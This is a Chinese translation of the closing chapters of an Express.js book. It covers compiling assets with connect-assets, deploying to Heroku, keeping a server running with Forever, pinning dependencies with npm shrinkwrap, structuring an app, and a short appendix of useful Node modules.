说实话,我不太喜欢 Grunt。我把它包括在书中,因为它非常流行且功能强大,但我发现代码冗长且有些令人困惑。对于 Express 用户,还有一个解决方案:一个名为 connect-assets 的中间件(在 [`github.com/adunkman/connect-assets`](https://github.com/adunkman/connect-assets))。

connect-assets 可以连接、编译并压缩 JavaScript 和 CSS。它支持 CoffeeScript、Stylus、LESS、SASS,甚至一些 EJS。它不支持 Browserify,并且不如 Grunt 或 Gulp 这样的构建工具可配置,但它非常容易使用。

connect-assets 受到 Ruby on Rails 世界的 Sprockets 资产管道的极大启发。如果你使用过它,这将非常熟悉,但如果你没有,不用担心!

关于 CONNECT 的提醒:Connect 是另一个 Node 的 Web 框架,简而言之,Express 中间件与 Connect 中间件兼容。许多与 Express 兼容的中间件名称中都包含 "connect",如 connect-assets。

### 11.4.1   安装所有内容

你需要运行 `npm install connect-assets --save` 以及你需要的任何编译器:

·  coffee-script 用于 CoffeeScript 支持

·  stylus 用于 Stylus 支持

·  less 用于 LESS 支持

·  node-sass 用于 SASS 支持

·  ejs 用于一些 EJS 支持

最后两个在开发模式下默认不会使用,但在生产中会使用。如果你不更改默认选项并忘记安装这些,你的应用程序在生产中会失败。确保安装这些!例如,要安装 LESS,运行 `npm install less --save`。

你还需要选择一个目录来存放你的资源。默认情况下,connect-assets 会在`assets/css`目录中查找 CSS 相关资源,在`assets/js`目录中查找 JavaScript 相关资源,但这是可配置的。我建议你在开始时使用默认设置,因此创建一个名为`assets`的目录,并将`css`和`js`目录放入其中。

### 11.4.2   设置中间件

中间件提供了一些快速入门选项,这使得开始使用变得容易,但我强烈建议进行配置。例如,配置选项之一可以防止 connect-assets 污染全局命名空间,这是它的默认行为。以下是一个简单的应用程序设置示例:

列表 11.25 设置 connect-assets 中间件

`var express = require("express");` `var assets = require("connect-assets");` `var app = express();` `app.use(assets({` `   helperContext: app.locals, #A` `   paths: ["assets/css", "assets/js"] #B` ` });` `// ...`

#A 这将 connect-assets 的视图助手附加到 app.locals,而不是作为全局变量。

#B 指定你使用的任何资源路径。在这里,顺序很重要——例如,如果 main.js 存在于多个目录中,它只会编译第一个列出的。

此中间件有一些合理的默认设置。例如,在生产环境中,它将启用压缩和缓存,但在开发环境中禁用它们。如果你确实想要覆盖此配置,请查看文档以获取更详细的说明。

现在我们已经设置了中间件,我们需要从视图中链接到这些资源。

### 11.4.3   从视图中链接到资源

connect-assets 为你的视图提供了两个主要的助手函数:`js`和`css`。`js("myfile")`将生成一个与`myfile`对应的`<script>`标签。`css`助手函数将执行相同的操作,但用于 CSS,使用`<link>`标签。它们返回包含你资源最新版本的 HTML,这意味着它们会在名称后附加一个长哈希值,以确保你的浏览器不会使用旧的缓存资源。

如果你使用 Jade 来渲染你的视图,你可以像这样从你的视图中引用它们:

列表 11.26 从 Jade 链接到 connect-assets 资源

`!= css("my-css-file")` `!= js("my-javascript-file")`

如果你使用的是 EJS,这非常相似。你可以像这样从你的视图中引用 connect-assets 的助手函数:

列表 11.27 从 EJS 链接到 connect-assets 资源

`<%- css("my-css-file") %>` `<%- js("my-javascript-file") %>`

如果你使用的是其他视图引擎,你需要确保在执行此操作时不要转义 HTML,因为这些助手函数会输出原始 HTML 标签,这些标签不应该被转义。

无论如何,这些操作将输出类似以下内容:

列表 11.28 connect-assets 生成的 HTML

`<link rel="stylesheet" href="/assets/my-css-file-{{SOME LONG HASH}}.css">` `<script src="/assets/my-javascript-file-{{SOME LONG HASH}}.js">`

你的资源将被加载!

### 11.4.4   使用指令合并脚本

你不能这样连接 CSS 文件。相反,你应该在你的 CSS 预处理器(如 LESS 或 Sass)中使用 `@import` 语法。但 connect-assets 允许你使用特殊格式的注释连接 JavaScript 文件。

假设你的 JavaScript 文件需要 jQuery。你只需要定义一个以 `//= require` 开头的注释,然后 connect-assets 会为你神奇地连接这些文件。

列表 11.29 main.js,它需要 jQuery

`//= require jquery` `$(function() {``  // 使用 jQuery 做你需要做的事情`

那就是连接!就这么简单。

现在我们已经了解了两种编译资源的方法,让我们看看如何使用 Heroku 将我们的应用程序部署到真正的网络中!

## 11.5  部署到 Heroku

Heroku 的网站上有很多像“云平台”和“由开发者为开发者构建”这样的热门词汇。对我们来说,这是一种将我们的 Node.js 应用程序免费部署到真实互联网上的方式。不再有 `localhost:3000`!你将能够在真实互联网上拥有你的应用程序。

实际上,当你部署网站时,你是在将你的代码发送到某个地方运行。在这种情况下,当我们部署到 Heroku 时,我们将代码发送到 Heroku 的服务器上,它们将运行你的 Express 应用程序。

就像所有事情一样,部署你的网站有很多种方法。Heroku 可能不是最适合你的选项,你应该探索所有选项。我们在这里选择它是因为它相对简单且免费。

### 11.5.1   设置 Heroku

首先,你需要获取一个 Heroku 账户。访问 Heroku.com 并注册(如果你还没有账户)。如果你曾经在线注册过任何账户,注册过程应该相当简单。

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/11_02.png)

图 11.2 Heroku 的主页。

接下来,你需要从 [`toolbelt.heroku.com/`](https://toolbelt.heroku.com/) 下载并安装 Heroku Toolbelt。按照你特定操作系统的说明进行操作。在你的计算机上安装 Heroku Toolbelt 将安装以下三项:

1. Heroku 客户端,一个用于管理 Heroku 应用的命令行工具。我们将用它来创建和管理我们的 Express 应用程序。

2. Foreman,另一个命令行工具。我们将用它来定义我们希望应用程序如何运行。

3. Git,你可能已经安装的版本控制系统。

安装完成后,还有最后一件事要做:使用 Heroku 验证你的计算机。打开命令行并输入 `heroku login`。这将要求你输入 Heroku 用户名和密码。

完成所有这些后,Heroku 应该已经设置好了!

### 11.5.2   制作一个 Heroku 准备好的应用程序

让我们创建一个简单的“Hello World”应用程序并将其部署到 Heroku,怎么样?

为了将你的应用程序设置好以供 Heroku 使用,你不需要做太多与平时不同的操作。虽然你需要运行一些命令来部署,但你唯一需要做的更改如下:

1. 确保在 `process.env.PORT` 上启动应用程序。

2. 确保您的 `package.json` 列出了 Node 版本。

3. 创建一个当 Heroku 启动您的应用时要运行的文件(称为 Procfile)。在我们的简单应用中,这个文件将只有一行。

4. 在您的项目中添加一个名为 `.gitignore` 的文件。

让我们创建一个简单的应用并确保我们完成了这些事项。

到这本书的这一部分,Express 的“Hello World”应用应该对您来说很简单,而且为了确保它在 Heroku 上也能正常工作,我们不需要做太多特别的事情;这只需要一行或两行代码。

首先,定义您的 `package.json`:

列表 11.30 我们 Heroku Express 应用的 package.json 文件

`{` `  "private": true,` `  "scripts": {` `    "start": "node app"` `  },` `  "dependencies": {` `    "express": "⁴.10.4"` `  },` `  "engines": {       #A` `    "node": "0.10.x" #A` `  }                  #A``}`

#A 这告诉 Heroku(以及运行您的应用的人)您的应用需要 Node 0.10。这有助于 Heroku 区分。

没有什么特别的新内容,但关于使用哪个 Node 版本的定义。接下来,定义 app.js,我们的 Hello World 代码就存放在这里:

列表 11.31 一个简单的 Hello World Express 应用(app.js)

`var express = require("express");` `var app = express();` `app.set("port", process.env.PORT || 3000);` `app.get("/", function(req, res) {` `  res.send("Hello world!");` `});` `app.listen(app.get("port"), function() {` `  console.log("App started on port " + app.get("port"));``});`

再次强调,这里没有太多新内容。这里唯一的 Heroku 特殊之处在于端口的设置。Heroku 将为端口设置一个环境变量,我们将通过 `process.env.PORT` 来访问它。如果我们从不处理这个变量,我们就无法在 Heroku 上以正确的端口启动我们的应用。

下一个部分是我们迄今为止看到的最不熟悉的东西:一个 `Procfile`。它可能听起来像是一个复杂的新 Heroku 概念,但实际上非常简单。当您运行您的应用时,您会在命令行中输入 `npm start`。Procfile 将这编码化,并告诉 Heroku 当您的应用开始时运行 npm start。在您的目录根目录下创建一个文件,并将其命名为 `Procfile`(大写 P,无文件扩展名):

列表 11.32 我们应用的 Procfile

`web: npm start`

这并不太糟糕,对吧?Heroku 非常友好。

最后,我们需要添加一个文件,告诉 Git 忽略某些文件。我们不需要将 `node_modules` 推送到我们的服务器,所以让我们确保我们忽略这个文件:

列表 11.33 我们应用的 .gitignore 文件

`node_modules`

现在我们已经将应用全部准备就绪,让我们部署它!

### 11.5.3 部署我们的第一个应用

如果您还没有这样做,我们首先需要做的是使用 Git 将您的应用置于版本控制之下。我将假设您至少了解 Git 的基础知识,但如果您不了解,请查看 Try Git 在 [`try.github.io`](https://try.github.io/)。

要在这个目录中设置 Git 项目,请输入 `git init`。然后使用 `git add .` 添加所有文件,并使用 `git commit –m "Initial commit"` 将这些更改提交到 Git 项目中。一旦一切准备就绪,请输入以下命令:

`heroku create`

这将为你的 Heroku 应用程序设置一个新的 URL。它生成的名称总是有点奇怪——我得到了 mighty-ravine-4205.herokuapp.com——但这就是免费托管所付出的代价!你可以更改 URL 或将你拥有的域名与 Herkou 地址关联,但在这里我们不会深入讨论。

接下来,我们希望通知我们新创建的 Heroku 应用程序,它是一个生产环境中的 Node 环境。我们将通过在 Heroku 服务器上设置 `NODE_ENV` 环境变量来实现这一点。通过运行以下命令来设置该变量:

`heroku config:set NODE_ENV=production`

当你运行 `heroku create` 时,Heroku 会添加一个远程 Git 服务器。当你将代码推送到 Heroku 时,Heroku 将部署你的应用程序(或者如果你已经部署过,将重新部署)。这只是一个 Git 命令:

`git push heroku master`

这将首先将你的代码推送到 Heroku 的服务器,然后设置他们的服务器,包含你所有的依赖项。每次你想重新部署时,你将运行 `git push heroku master`;这实际上是你唯一会运行多次的命令。最后还有一件事要做:告诉 Heroku 它应该用一个进程来运行你的应用程序,这样它实际上才能在真实计算机上运行:

`heroku ps:scale web=1`

突然之间,你的应用程序将在真实互联网上运行!你可以输入 `heroku open` 在浏览器中打开你的应用程序,并看到它在运行!你可以将此链接发送给你的朋友。不再需要 localhost,宝贝!

![图 11.3](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/11_03.png)

图 11.3 在 Heroku 上运行的“hello world”应用程序!

### 11.5.4   在 Heroku 上运行 Grunt

如果你使用 connect-assets 来编译你的资源,那么 Heroku 将运行得很好(假设你已经正确安装了所有依赖项)。但如果你想使用 Grunt(或像 Gulp 这样的其他任务运行器),你需要在部署你的网站时运行 Grunt 来构建你的资源。

你可以使用一个小技巧来使这生效,这利用了 npm 的一个很好的小功能:post-install 脚本。Heroku 会在你部署应用程序时运行 `npm install`,我们可以告诉 Heroku 在那之后运行 Grunt 来构建我们所有的资源。这是向我们的 `package.json` 中添加另一个脚本的一种简单方式:

列表 11.33 在 postinstall 脚本中运行 Grunt

`// …` `"scripts": {` `  // …` `  "postinstall": "grunt build"  #A` `},``// …`

#A 我以“grunt build”为例——你可以运行你想要的任何 Grunt 命令。

现在,当任何人(包括 Heroku!)运行 `npm install` 时,`grunt build` 将会执行。

### 11.5.5   使你的服务器更具抗崩溃能力

不想冒犯,但你的服务器可能随时会崩溃。

可能会出现内存不足的情况,或者出现未捕获的异常,或者用户找到了一种破坏您服务器的方法。如果您在开发过程中遇到过这种情况,您可能已经看到错误使您的服务器进程突然停止。在开发过程中,这很有帮助——您希望知道您的应用程序不起作用!然而,在生产环境中,您更有可能不惜一切代价让应用程序工作。如果您有崩溃,您希望应用程序具有弹性并重新启动。

我们已经在关于安全性的章节中看到了 Forever,但作为一个复习:它是一个工具,即使在崩溃的情况下也能保持服务器运行。您不需要输入`node app.js`,只需输入`forever app.js`即可。然后,如果您的应用程序崩溃,Forever 会重新启动它。

首先,运行`npm install forever --save`来安装 Forever 作为依赖项。现在,我们需要运行`forever app.js`来启动我们的服务器。我们可以将其添加到 Procfile 中或更改我们的`npm start`脚本,但我喜欢在`package.json`中添加一个新的脚本。

打开`package.json`中的脚本,并添加以下内容:

列表 11.34 定义用于在生产环境中运行服务器的脚本

`// …` `"scripts": {` `  // …` `  "production": "forever app.js"` `},``// …`

#A 当您运行“npm run production”时,您的应用程序将永久运行。

现在,当您运行`npm run production`时,您的应用程序将使用 Forever 启动。下一步是让 Heroku 运行此脚本,这只是一个简单更改 Procfile 的问题:

列表 11.35 更新 Procfile 以使用 Forever

`web: npm run production`

现在,当 Heroku 启动时,它将使用 Forever 运行您的应用程序,并在崩溃后重新启动您的应用程序!

就像在 Heroku 上做的那样,将这些更改提交到 Git 中。(您需要使用`git add .`添加您的文件,然后使用`git commit –m "Your commit message here!"`提交它们。)完成这些后,您可以使用`git push heroku master`将它们部署到 Heroku。

您可以在任何类型的部署中使用 Forever,而不仅仅是 Heroku。虽然 Heroku 使用 Procfiles,并且这取决于您的服务器设置,您可以在您选择的任何部署位置使用 Forever。

## 11.6 摘要

在本章中,我们学习了大量关于编译文件的知识,从视图到连接的 JavaScript。我们看到了以下内容:

· 使用 LESS 通过一系列功能来改进我们的 CSS。

· 使用 Browserify 打包 JavaScript,让我们可以在客户端和服务器之间共享代码。

· 灵活的 Grunt 任务运行器及其许多任务中的几个。

· 使用 connect-assets 作为 Grunt 的替代方案来编译和提供 CSS 和 JavaScript。

· 将我们的应用程序部署到 Heroku 以进入真正的互联网!


# 12 最佳实践

是时候结束这本书了。

如果这本书是一部悲剧,我们可能以一个戏剧性的死亡结束。如果它是一部喜剧,我们可能有一个浪漫的婚礼。不幸的是,这本书是关于 Express 的,这个话题并不以戏剧性和浪漫性著称。我们能得到的最好的结果就是:一套针对大型 Express 应用程序的最佳实践。我将尽力让它变得浪漫和戏剧化。

对于小型应用程序,组织并不重要。你可以将你的应用程序放入一个文件或几个小文件中。但随着你的应用程序变得更大,这些考虑变得更加重要。你应该如何组织你的文件,以便你的代码库易于工作?你应该遵守什么样的约定,以最好地支持一个开发团队?

在这一章的最后一部分,我将尽力分享我的经验。这一章中几乎没有严格的事实;我将尽力向 Express 的无意见哲学提供意见,关于用它来构建中型到大型应用程序需要什么。我们将看到:

·  高层次的简单目标

·  应用程序的文件夹和文件结构

·  锁定依赖项版本以实现最大可靠性

·  在本地安装依赖项并使用 npm 脚本

我会确保重复这个免责声明,但请记住:这一章主要是我找到的意见和约定。你可能不同意,或者发现你的应用程序不适合这些模式。这就是 Express 的美妙之处——你有很多灵活性。

这可能不如喜剧或悲剧那样充满情感,但我将尽力而为。

## 12.1 简单性

在我意见的这一章节中,在我们深入具体细节之前,让我先提出一个总的观点。

维护大型代码库有很多最佳实践,但我认为它们都归结为一点:简单。更具体地说,你的代码应该易于其他开发者理解,你应该尽量减少一个人需要记住的上下文。

为了理解一个 Express 应用程序,你已经有相当多的知识了。你必须对 JavaScript 编程语言有相当熟练的掌握才能阅读代码;你必须理解 HTTP 的工作原理才能理解路由;你必须理解 Node 及其事件驱动 I/O;然后你必须理解 Express 的所有功能,如路由、中间件、视图等。这些都需要很长时间来学习,并且很可能是基于你职业生涯早期经验的积累。这是一大堆需要记住的东西!

你的应用程序应该尽量少地向这庞大的知识堆中添加内容。

我认为我们都有过编写代码的经历(我肯定有),这些代码是错综复杂的,只有我们自己才能希望理解。我喜欢想象那些覆盖着图片的软木塞板,所有图片都通过红色丝线相互连接。这里有几种方法可以看到你的代码深度的“兔子洞”。

·  看看您的一段代码——可能是一个路由处理程序或中间件函数——然后问问自己,为了理解它,您还需要了解多少其他内容。它是否依赖于堆栈中的早期中间件?它依赖于多少个不同的数据库模型?您有多少层路由?您查看了多少个文件才到达这个点?

·  您的同事有多困惑?他们能多快地为您的应用程序添加功能?如果他们困惑且无法快速工作,这可能意味着您的代码过于复杂。

您必须对简单性非常严格,尤其是因为 Express 非常灵活且没有偏见。我们将在本章中讨论一些这些方法(以及其他方法),但其中很多都是模糊的,所以请记住这一点!

好吧,关于这些抽象的东西就到这里吧!让我们谈谈具体的事情。

## 12.2 文件结构模式

Express 应用程序可以按照您喜欢的任何方式组织。如果您愿意,可以将所有内容放入一个巨大的文件中。正如您可能想象的那样,这可能不会使应用程序易于维护。

尽管它没有偏见,但我所使用的绝大多数 Express 应用程序的结构都与图 12-1 中的结构相似。

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/12_01.png)

图 12-1 Express 应用程序的一个常见文件夹结构。

这里是这个结构中 Express 应用程序的所有常见文件:

·  `package.json` 文件并不令人意外——它在每个 Node 项目中都有。这个文件将包含应用程序的所有依赖项以及您的所有 npm 脚本。我们在整本书中都看到了这个文件的不同版本,而且在“大型”应用程序中也没有什么不同。

·  `app.js` 是主要的应用程序代码——入口点。这是您实际调用 `express()` 来实例化新的 Express 应用程序的地方。这是您放置对所有路由都通用的中间件的地方,如安全或静态文件中间件。正如我们将看到的,这个文件不会启动应用程序——它将应用程序分配给 `module.exports`。

·  `bin/` 是一个包含与您的应用程序相关的可执行脚本的文件夹。通常只有一个(如下所示),但有时可能需要更多。

·  `bin/www` 是一个可执行的 Node 脚本,它 `require`s 您的应用程序(从上面的 `app.js`)并启动它。调用 `npm start` 将运行此脚本。

·  `config/` 是一个包含您应用程序配置的文件夹。它通常充满了指定默认端口号或本地化字符串等的 JSON 文件。

·  `public/` 是一个由静态文件中间件提供的文件夹。它将包含任何静态文件——HTML 页面、文本文件、图像、视频等。例如,[`html5boilerplate.com/`](https://html5boilerplate.com/) 上的 HTML5 Boilerplate 提供了一些您可能想添加到这里的常见静态文件。

·  `routes/` 是一个包含多个 JavaScript 文件的文件夹,每个文件都导出一个 Express 路由器。你可能有一个路由器用于所有以 `/users` 开头的 URL,另一个用于所有以 `/photos` 开头的 URL。第五章详细介绍了路由和路由配置——查看第 5.3 节以了解如何实现此功能。

·  `test/` 是一个包含所有测试代码的文件夹。第九章详细介绍了这方面的内容。

·  `views/` 是一个包含所有视图的文件夹。通常,它们是用 EJS 或 Jade 编写的,如第七章所示,但你可以使用许多其他模板语言。

要查看具有大多数这些约定的应用程序,最佳方式是使用官方的 Express 应用程序生成器。你可以使用 `npm install -g express-generator` 来安装它。安装完成后,你可以运行 `express my-new-app`,它将创建一个名为 `my-new-app` 的文件夹,并设置一个基本应用程序框架,如图 12-1 所示。

虽然这些只是模式和约定,但我在看到的 Express 应用程序中经常出现这样的模式。

## 12.3 锁定依赖版本

Node 拥有我使用过的最好的依赖系统。我的一个同事对我说了以下关于 Node 和 npm 的话:“他们做到了。”

npm 使用一种称为语义版本控制(有时简称为 Semver)的机制为其所有包进行版本管理。版本被分为三个数字:主版本、次版本和补丁版本。例如,版本 1.2.3 的主版本是 1,次版本是 2,补丁版本是 3。

在语义版本控制的规则中,主版本升级可能包含被认为是“破坏性”的更改。破坏性更改是指旧代码与新代码不兼容的情况。例如,在 Express 主版本 3 中工作的代码不一定与主版本 4 兼容。相比之下,次版本更改不是破坏性的。它们通常意味着一个不会破坏现有代码的新功能。补丁版本用于修复——它们保留用于错误修复和性能提升。补丁不应该破坏你的代码;它们通常会使事情变得更好。

主版本号为零 有一个需要注意的地方:如果主版本号为 0,那么基本上任何东西都可以。在那个阶段,整个包都被视为不稳定。

默认情况下,当你使用 `npm install --save` 安装一个包时,它会从 npm 仓库下载最新版本,然后在你的 `package.json` 文件中放置一个“乐观”的版本号。这意味着如果项目中的其他成员运行 `npm install` (或者如果你正在重新安装),他们可能会得到一个比你最初下载的新版本。这个新版本可能有更高的次版本号或补丁版本号,但不能有更高的主版本号。这意味着它不会下载包的绝对最新版本;它会下载仍然兼容的最新版本。图 12-2 展示了这一点。

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/12_02.png)

图 12-2 在 package.json 中乐观版本控制的外观。

所有这些都很好,对吧?如果所有包都遵循语义版本控制,你应该总是想要获取最新兼容版本,以便你拥有所有最新功能和所有最新的错误修复。

但是,这里有个问题:并非所有包都完美遵循语义版本控制。通常,这是因为人们以原始开发者不期望的方式使用包。也许你依赖于一个未经测试的功能或库中的奇怪特性,这些特性被开发者忽略了。你真的不能责怪这些人——没有程序员有干净、无错误的记录,尤其是在其他开发者以意想不到的方式使用他们的代码时。

我发现 99%的情况下,这并不是一个问题。我使用的模块通常很好地遵循语义版本控制,npm 的乐观版本控制也运行良好。但是,当我将业务关键应用程序部署到生产环境(也称为“现实世界”)时,我喜欢锁定依赖项版本以最大限度地减少任何潜在的问题。我不想因为包的新版本而导致东西损坏!

锁定版本有两种方法:一种简单但不够彻底,另一种非常彻底。

### 12.3.1   简单方法:避免乐观版本控制

解决这个问题的快速方法是彻底消除你的`package.json`中的乐观版本控制。

在你的`package.json`文件中的乐观版本控制可能看起来像这样:

列表 12.1:在 package.json 中的乐观版本控制示例

`// ...` `"dependencies": {` `  "express": "⁴.12.4" #A` `}``// ...`

#A ^字符表示允许乐观版本控制。

如果你正在回退并编辑你的`package.json`,你可以简单地指定依赖项的确切版本。上面的例子将看起来像这样:

列表 12.2:在 package.json 中省略乐观版本控制的示例

`// ...` `"dependencies": {` `  "express": "4.12.4"  #A` `}``// ...`

#A 从版本号中移除^字符仅表示应下载和使用该特定版本的包。

这些编辑相对容易完成,可以将包锁定到特定版本。

如果你正在安装新的包,你可以通过将`--save`标志更改为`–save-exact`来关闭 npm 的乐观版本控制。例如,`npm install --save express`变为`npm install --save-exact express`。这将安装 Express 的最新版本,就像以前一样,但它不会在你的`package.json`中乐观地标记它——它将指定一个确切版本。

这个简单解决方案的缺点是:它没有锁定子依赖项(你的依赖项的依赖项)的版本。列表 12.3 显示了 Express 的依赖项树:

列表 12.3:Express 的依赖项树

`your-express-app@0.0.0` `└─┬ express@4.12.4` `  ├─┬ accepts@1.2.9` `  │ ├─┬ mime-types@2.1.1` `  │ │ └── mime-db@1.13.0` `  │ └── negotiator@0.5.3` `  ├── content-disposition@0.5.0` `  ├── content-type@1.0.1` `  ├── cookie@0.1.2` `  ├── cookie-signature@1.0.6` `  ├─┬ debug@2.2.0` `  │ └── ms@0.7.1` `  ├── depd@1.0.1` `  ├── escape-html@1.0.1` `  ├─┬ etag@1.6.0` `  │ └── crc@3.2.1` `  ├── finalhandler@0.3.6` `  ├── fresh@0.2.4` `  ├── merge-descriptors@1.0.0` `  ├── methods@1.1.1` `  ├─┬ on-finished@2.2.1` `  │ └── ee-first@1.1.0` `  ├── parseurl@1.3.0` `  ├── path-to-regexp@0.1.3` `  ├─┬ proxy-addr@1.0.8` `  │ ├── forwarded@0.1.0` `  │ └── ipaddr.js@1.0.1` `  ├── qs@2.4.2` `  ├── range-parser@1.0.2` `  ├─┬ send@0.12.3` `  │ ├── destroy@1.0.3` `  │ ├── mime@1.3.4` `  │ └── ms@0.7.1` `  ├── serve-static@1.9.3` `  ├─┬ type-is@1.6.3` `  │ ├── media-typer@0.3.0` `  │ └─┬ mime-types@2.1.1` `  │   └── mime-db@1.13.0` `  ├── utils-merge@1.0.0` `  └── vary@1.0.0`

例如,我在尝试使用 Backbone.js 库时遇到了问题。我想将 Backbone 固定到确切的一个版本,这很简单:我只需指定版本即可。但在 Backbone 的`package.json`中——这超出了我的控制!——它指定了一个乐观版本的 Underscore.js。这意味着如果重新安装我的包,我可能会得到 Underscore 的新版本,更危险的是,当我的代码部署到现实世界时,我也可能会得到 Underscore 的新版本。例如,您的依赖项树可能看起来像这样的一天:

`your-express-app@0.0.0` `└─┬ backbone@1.2.3` `  └── underscore@1.0.0`

但如果 Underscore 更新了,另一天它可能看起来像这样:

`your-express-app@0.0.0` `└─┬ backbone@1.2.3` `  └── underscore@1.1.0`

注意这里 Underscore 版本的区别。

使用这种方法,无法确保您的子依赖项(或子子依赖项,等等)的版本被固定。这可能是可以接受的,也可能不是。如果不行,您可以使用 npm 的一个叫作“shrinkwrap”的不错功能。

### 12.3.2   彻底的方法:npm 的“shrinkwrap”命令

之前解决方案的问题在于它没有锁定子依赖项的版本。npm 有一个名为`shrinkwrap`的子命令,可以解决这个问题。

假设您已经运行了`npm install`并且一切正常。您现在处于想要锁定依赖项的状态。此时,在您的项目中的某个位置运行一个命令:

`npm shrinkwrap`

您可以在任何具有`package.json`文件和依赖项的 Node 项目中运行此命令。

如果一切顺利,将只有一行输出:“wrote npm-shrinkwrap.json”。(如果失败了,很可能是您从非项目目录执行此命令或缺少`package.json`文件)。

看一下这个文件。您会看到它列出了依赖项、它们的版本,以及这些依赖项的依赖项,依此类推。以下是一个只安装了 Express 的项目片段:

列表 12.4 示例 npm-shrinkwrap.json 文件片段

`{` `  "dependencies": {` `    "express": {` `      "version": "4.12.4",` `      // ...` `      "dependencies": {` `        "accepts": {` `          "version": "1.2.2",` `          // ...` `          "dependencies": {` `            "mime-types": {` `              "version": "2.0.7",` `              // ...` `              "dependencies": {` `                "mime-db": {` `                  "version": "1.5.0",` `                  // ...` `                }` `              }` `            },` `            "negotiator": {` `              "version": "0.5.0",` `              // ...` `            }` `          }` `        },``        // ...`

需要注意的主要是,整个依赖树都被指定了,而不仅仅是 `package.json` 中的顶层。

下次你运行 `npm install` 时,它不会查看 `package.json` 中的包——它会查看 `npm-shrinkwrap.json` 中的文件并从那里安装。每次运行 `npm install` 时,它都会查找 shrinkwrap 文件并尝试从那里安装。如果你没有(如本书的其余部分所示),它会查看 `package.json`。

与 `package.json` 类似,你通常会将 `npm-shrinkwrap.json` 检入版本控制。这允许项目上的所有开发者保持相同的包版本,这正是 shrinkwrapping 的全部意义!

升级依赖项

一旦你锁定了依赖项,这一切都很好,但你可能不想永远冻结所有的依赖项!你可能想要获取错误修复或补丁或新功能——你只是希望按照你的意愿进行。

要更新或添加依赖项,你需要运行带有包名和包版本的 `npm install`。例如,如果你要将 Express 从 4.12.0 更新到 4.12.1,你将运行 `npm install express@4.12.1`。这将更新 `node_modules` 文件夹中的版本,然后你可以开始测试。一旦一切看起来都很好,你可以再次运行 `npm shrinkwrap` 来锁定该依赖项版本。

有时候,shrinkwrapping 并不适合你。你可能想要获取所有最新的功能和补丁,而无需手动更新。有时,尽管如此,你希望在整个项目的所有安装中拥有相同的依赖项。

## 12.4 本地化依赖

让我们继续讨论依赖项,但从一个不同的角度。

npm 允许你在系统上全局安装执行为命令的包。其中有一些“著名”的,如 Bower、Grunt、Mocha 等。这样做并没有什么问题;你需要安装到系统上的工具有很多。这意味着,要运行 Grunt 命令,你可以在电脑的任何位置输入 `grunt`。

然而,当新成员加入你的项目时,你可能会遇到一些缺点。例如,以 Grunt 为例,在全局安装 Grunt 时可能会出现两个问题:

1. 新的开发者根本没有在他们的系统上安装 Grunt。这意味着你必须在你的 Readme 或其他文档中告诉他们安装它。

2. 第二个问题与上一节中的对话相关。如果他们安装了 Grunt,但版本不正确怎么办?你可以想象他们可能安装了一个过旧或过新的 Grunt 版本,这可能会导致一些奇怪的错误,可能很难追踪。

对于这两个问题有一个相当简单的解决方案:将其作为项目的依赖项安装,而不是全局安装。

在第九章中,我们使用了 Mocha 作为测试框架。我们本可以全局安装它,但我们没有——我们将其本地安装到我们的项目中。

当你安装 Mocha 时,它会将`mocha`可执行命令安装到`node_modules/.bin/mocha`中。你可以通过以下两种方式访问它:直接执行或将其放入 npm 脚本中。

直接调用命令

最简单的方法就是直接调用这些命令。

这相当简单,尽管需要一点输入:输入命令的路径。如果你要运行 Mocha,只需运行`node_modules/.bin/mocha`。如果你要运行 Bower,只需运行`node_modules/.bin/bower`。(在 Windows 上,运行 Mocha 将是`node_modules\.bin\mocha`。)

从概念上讲,这并没有什么。

从 npm 脚本执行命令

另一种方法是添加命令作为 npm 脚本。

再次假设你想运行 Mocha。以下是将其指定为 npm 脚本的方法:

列表 12.5 指定 Mocha 为 npm 脚本

`// …` `"scripts": {` `  "test": "mocha"` `},``// …`

当你输入`npm test`时,`mocha`命令会神奇地运行。让我们再次引用第九章中的一个图表,解释它是如何工作的:

![](https://github.com/OpenDocCN/ibooker-html-css-javascript-zh/raw/master/docs/exp-ia/img/12_03.png)

图 12-3 打开 npm test 命令执行前需要经过几个步骤。

这通常在你想要反复运行相同类型的命令时很有用。它还能将依赖项排除在你的全局列表之外!

## 12.5 摘要

在本章的最后,我们:

· 了解简单性和不交错代码的好处

· 一种结构化应用程序文件的约定:一个用于路由的文件夹,一个用于公共文件的文件夹,一个用于视图的文件夹,一个用于类似库的功能的文件夹,以及一个用于可执行文件的文件夹

· 使用`npm shrinkwrap`命令锁定依赖项版本以实现可靠性(以及这样做的好处)

· 如何避免全局安装模块

这就是本章和本书的结束!走出去,用 Express 构建酷炫的东西吧。


# A  其他有用的模块

在这本书中,我介绍了一些第三方 Node 模块,但还有许多第三方模块我没有涉及到。在本附录中,我将为你快速浏览一些在各种情况下我发现有用的模块。这个列表不会详尽无遗,也绝不是全面的,但我希望它能帮助你找到你喜欢的模块。

·   Sequelize 是一个 SQL 的 ORM。在这本书中,我们讨论了 Mongoose,它处理 Mogo 数据库;Sequelize 是 SQL 数据库的 Mongoose。它是一个 ORM,支持迁移,并与各种 SQL 数据库接口。在 http://sequelizejs.com/ 上查看。

·   Lodash 是一个实用库。你可能听说过 Underscore 库,Lodash 与其非常相似。它拥有更高的性能和一些额外的功能。你可以在 [`lodash.com/`](http://lodash.com/) 上了解更多。

·   Async 是另一个实用库,它使得处理各种异步编程模式变得更加容易。更多信息请查看 [`github.com/caolan/async`](https://github.com/caolan/async)。

·   Request 几乎是 Express 的反面。Express 允许你接受传入的 HTTP 请求,而 Request 允许你发起出去的 HTTP 请求。它有一个简单的 API,你可以在 https://www.npmjs.com/package/request 上找到更多信息。

·   Gulp 自称为“流式构建系统”。它是 Grunt 等工具的替代品,允许你编译资源、压缩代码、运行测试等。它使用 Node 的流来提高性能。更多信息请查看 http://gulpjs.com/。

· node-canvas 将 HTML5 Canvas API 端口到 Node,允许你在服务器上绘制图形。你可以在 [`github.com/Automattic/node-canvas`](https://github.com/Automattic/node-canvas) 上查看文档。

·   Sinon.js 在测试中非常有用。有时你想要测试一个函数是否被调用,以及更多。Sinon 允许你确保一个函数以特定的参数或特定的次数被调用。在 http://sinonjs.org/ 上查看。

